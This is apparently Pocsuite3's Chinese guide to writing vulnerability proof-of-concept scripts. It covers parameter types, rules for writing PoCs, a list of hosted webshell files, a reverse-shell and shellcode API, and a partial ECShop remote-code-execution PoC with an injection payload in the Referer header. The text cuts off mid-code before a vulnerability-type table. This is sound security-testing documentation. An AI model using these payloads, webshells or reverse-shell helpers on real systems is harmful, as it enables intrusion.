descript:字段描述,默认为空
require:是否必须,默认False | | | OptDict | 接收一个字典类型参数,在选择上如果选择key,调用时会调用对应的value | default:传入一个默认值
descript:字段描述,默认为空
require:是否必须,默认False | | | OptIP | 接收IP类型的字符串 | default:传入一个默认值
descript:字段描述,默认为空
require:是否必须,默认False | | | OptPort | 接收端口类型参数 | default:传入一个默认值
descript:字段描述,默认为空
require:是否必须,默认False | | | OptBool | 接收布尔类型参数 | default:传入一个默认值
descript:字段描述,默认为空
require:是否必须,默认False | | | OptInteger | 接收整数类型参数 | default:传入一个默认值
descript:字段描述,默认为空
require:是否必须,默认False | | | OptFloat | 接收浮点数类型参数 | default:传入一个默认值
descript:字段描述,默认为空
require:是否必须,默认False | | | OptItems | 接收list类型参数 | default:传入一个默认值
selectd:默认选择
descript:字段描述,默认为空
require:是否必须,默认False | | 需要注意的是,`console`模式支持所有的参数类型,`cli`模式除了`OptDict`、`OptBool`、`OptItems`类型外都支持。 #### PoC 编写注意事项 1. 要求在编写PoC的时候,尽量的不要使用第三方模块,如果在无法避免的情况下,请认真填写install_requires 字段,填写格式参考《PoC第三方模块依赖说明》。 2. 要求编写PoC的时候,尽量的使用Pocsuite 已经封装的API提供的方法,避免自己重复造轮子,对于一些通用方法可以加入到API,具体参考《通用API列表》。 3. 如果PoC需要包含远程文件等,统一使用Pocsuite 远程调用文件,具体可以参考[《Pocsuite 远程调用文件列表》](#inclue_files),不要引入第三方文件,如果缺少对应文件,联系管理员添加。 4. 要求每个PoC在编写的时候,尽可能的不要要求输入参数,这样定制化过高,不利于PoC的批量化调度执行,尽可能的PoC内部实现参数的构造,至少应该设置默认值,如某个PoC需要指定用户id,那么应该允许使用extar_param传入id,也应该没有传入该参数的时候自动设置默认值,不应该影响PoC的正常运行与验证。 5. 要求每个PoC在输出结果的时候,尽可能的在不破坏的同时输出取证信息,如输出进程列表,具体参考[《PoC 结果返回规范》](#resultstandard)。 6. 要求认真填写PoC信息字段,其中vulID请填写Seebug上的漏洞ID(不包含SSV-)。 7. 为了防止误报产生以及避免被关键词被WAF等作为检测特征,要求验证结果判断的时候输出随机的字符串(可以调用API中的`random_str`方法),而不用采用固定字符串。 比如: ``` 检测 SQL 注入时, token = random_str() payload = 'select md5(%s)' % token ... if hashlib.new('md5', token).hexdigest() in content: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url + payload 检测 XSS 漏洞时, token = random_str() payload = 'alert("%s")' % token ... if hashlib.new('md5', token).hexdigest() in content: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url + payload 检测 PHP 文件上传是否成功, token = random_str() payload = '' % token ... if hashlib.new('md5', token).hexdigest() in content: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url+payload ``` 8. 任意文件如果需要知道网站路径才能读取文件的话,可以读取系统文件进行验证,要写 Windows 版和 Linux 版两个版本。 9. 检测模式下,上传的文件一定要删掉。 10. 程序可以通过某些方法获取表前缀,just do it;若不行,保持默认表前缀。 11. PoC 编写好后,务必进行测试,测试规则为:5个不受漏洞的网站,确保 PoC 攻击不成功;5个受漏洞影响的网站,确保 PoC 攻击成功 #### Pocsuite 远程调用文件列表 部分 PoC 需要采用包含远程文件的形式,要求基于 Pocsuite 的 PoC 统一调用统一文件(如需引用未在以下文件列表内文件,请联系s1@seebug.org或者直接提交 issue)。 统一URL调用路径:`http://pocsuite.org/include_files/`,如 `http://pocsuite.org/include_files/xxe_verify.xml` **文件列表** | 文件名 | 说明 | | -------------- | ----------------------------------------- | | a.jsp | 一个通用简单的 JSP 一句话 Shell,攻击模式 | | b.jsp | 一个通用简单的 JSP 一句话 Shell,验证模式 | | php_attack.txt | PHP 一句话 | | php_verify.txt | PHP 打印 md5 值 | | xxe_verify.xml | XXE 验证文件 | #### 通用API列表 在编写 PoC 的时候,相关方法请尽量调用通用的已封装的 API **通用方法** | 方法 | 说明 | | ----------------------------------------- | ------------------------------ | | from pocsuite3.api import logger | 日志记录,比如logger.log(info) | | from pocsuite3.api import requests | 请求类,用法同 requests | | from pocsuite3.api import Seebug | Seebug api 调用 | | from pocsuite3.api import ZoomEye | ZoomEye api 调用 | | from pocsuite3.api import CEye | Ceye api 调用 | | from pocsuite3.api import crawl | 简单爬虫功能 | | from pocsuite3.api import PHTTPServer | Http服务功能 | | from pocsuite3.api import REVERSE_PAYLOAD | 反向连接shell payload | | from pocsuite3.api import get_results | 获取结果 | **参数调用** * self.headers 用来获取 http 请求头, 可以通过 --cookie, --referer, --user-agent, --headers 来修改和增加需要的部分 * self.params 用来获取 --extra-params 赋值的变量, Pocsuite 会自动转化成字典格式, 未赋值时为空字典 * self.url 用来获取 -u / --url 赋值的 URL, 如果之前赋值是 baidu.com 这样没有协议的格式时, Pocsuite 会自动转换成 http:// baidu.com ##### ShellCode生成支持 在一些特殊的Linux和Windows环境下,想得到反弹shell条件比较困难。为此我们制作了用于在Windows/Linux x86 x64环境下的用于反弹的shellcode,并制作了接口支持,你在只需要拥有命令执行权限下便可以自动将shellcode写入到目标机器以及执行反弹shell命令。Demo Poc:https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/thinkphp_rce2.py ```python from pocsuite3.api import generate_shellcode_list _list = generate_shellcode_list(listener_ip=get_listener_ip(),listener_port=get_listener_port(),os_target=OS.LINUX,os_target_arch=OS_ARCH.X86) ``` 将生成一长串执行指令,执行这些指令便可以反弹出一个shell。 ##### HTTP服务内置 对于一些需要第三方HTTP服务才能验证的漏洞,Pocsuite3也提供对应的API,支持在本地开启一个HTTP服务方便进行验证。 可查看测试用例:https://github.com/knownsec/pocsuite3/blob/master/tests/test_httpserver.py #### PoC 代码示例 ##### PoC Python 代码示例 [Ecshop 2.x/3.x Remote Code Execution](http://www.seebug.org/vuldb/ssvid-97343) PoC: ``` import base64 from urllib.parse import urljoin from pocsuite3.api import Output, POCBase, register_poc, requests, logger from pocsuite3.api import get_listener_ip, get_listener_port from pocsuite3.api import REVERSE_PAYLOAD from pocsuite3.lib.utils import random_str from requests.exceptions import ReadTimeout class DemoPOC(POCBase): vulID = '97343' # ssvid version = '3.0' author = ['seebug'] vulDate = '2018-06-14' createDate = '2018-06-14' updateDate = '2018-06-14' references = ['https://www.seebug.org/vuldb/ssvid-97343'] name = 'Ecshop 2.x/3.x Remote Code Execution' appPowerLink = '' appName = 'ECSHOP' appVersion = '2.x,3.x' vulType = 'Romote Code Execution' desc = ''' ''' samples = [] install_requires = [''] def _verify(self): result = {} path = "user.php?act=login" url = urljoin(self.url, path) echashs = [ '554fcae493e564ee0dc75bdf2ebf94ca', # ECShop 2.x hash '45ea207d7a2b68c49582d2d22adf953a' # ECShop 3.x hash ] for echash in echashs: payload = ('{0}ads|a:2:{{s:3:"num";s:116:"*/ select 1,0x2720756E696F6E202F2A,3,4,5,' '6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10' '-- -";s:2:"id";s:10:"\' union /*";}}{0}').format(echash) headers = {"Referer": payload} try: resp = requests.get(url, headers=headers) if resp and resp.status_code == 200 and "
英文名称 | 中文名称 | 缩写 |
Cross Site Scripting | 跨站脚本 | xss |
Cross Site Request Forgery | 跨站请求伪造 | csrf |
SQL Injection | Sql注入 | sql-inj |
LDAP Injection | ldap注入 | ldap-inj |
Mail Command Injection | 邮件命令注入 | smtp-inj |
Null Byte Injection | 空字节注入 | null-byte-inj |
CRLF Injection | CRLF注入 | crlf-inj |
SSI Injection | Ssi注入 | ssi-inj |
XPath Injection | Xpath注入 | xpath-inj |
XML Injection | Xml注入 | xml-inj |
XQuery Injection | Xquery 注入 | xquery-inj |
Command Execution | 命令执行 | cmd-exec |
Code Execution | 代码执行 | code-exec |
Remote File Inclusion | 远程文件包含 | rfi |
Local File Inclusion | 本地文件包含 | lfi |
Abuse of Functionality | 功能函数滥用 | func-abuse |
Brute Force | 暴力破解 | brute-force |
Buffer Overflow | 缓冲区溢出 | buffer-overflow |
Content Spoofing | 内容欺骗 | spoofing |
Credential Prediction | 证书预测 | credential-prediction |
Session Prediction | 会话预测 | session-prediction |
Denial of Service | 拒绝服务 | dos |
Fingerprinting | 指纹识别 | finger |
Format String | 格式化字符串 | format-string |
HTTP Response Smuggling | http响应伪造 | http-response-smuggling |
HTTP Response Splitting | http响应拆分 | http-response-splitting |
HTTP Request Splitting | http请求拆分 | http-request-splitting |
HTTP Request Smuggling | http请求伪造 | http-request-smuggling |
HTTP Parameter Pollution | http参数污染 | hpp |
Integer Overflows | 整数溢出 | int-overflow |
Predictable Resource Location | 可预测资源定位 | res-location |
Session Fixation | 会话固定 | session-fixation |
URL Redirector Abuse | url重定向 | redirect |
Privilege Escalation | 权限提升 | privilege-escalation |
Resolve Error | 解析错误 | resolve-error |
Arbitrary File Creation | 任意文件创建 | file-creation |
Arbitrary File Download | 任意文件下载 | file-download |
Arbitrary File Deletion | 任意文件删除 | file-deletion |
Backup File Found | 备份文件发现 | bak-file-found |
Database Found | 数据库发现 | db-found |
Directory Listing | 目录遍历 | dir-listing |
Directory Traversal | 目录穿越 | dir-traversal |
File Upload | 文件上传 | file-upload |
Login Bypass | 登录绕过 | login-bypass |
Weak Password | 弱密码 | weak-pass |
Remote Password Change | 远程密码修改 | remote-pass-change |
Code Disclosure | 代码泄漏 | code-disclosure |
Path Disclosure | 路径泄漏 | path-disclosure |
Information Disclosure | 信息泄漏 | info-disclosure |
Security Mode Bypass | 安全模式绕过 | sec-bypass |
Malware | 挂马 | mal |
Black Link | 暗链 | black-link |
Backdoor | 后门 | backdoor |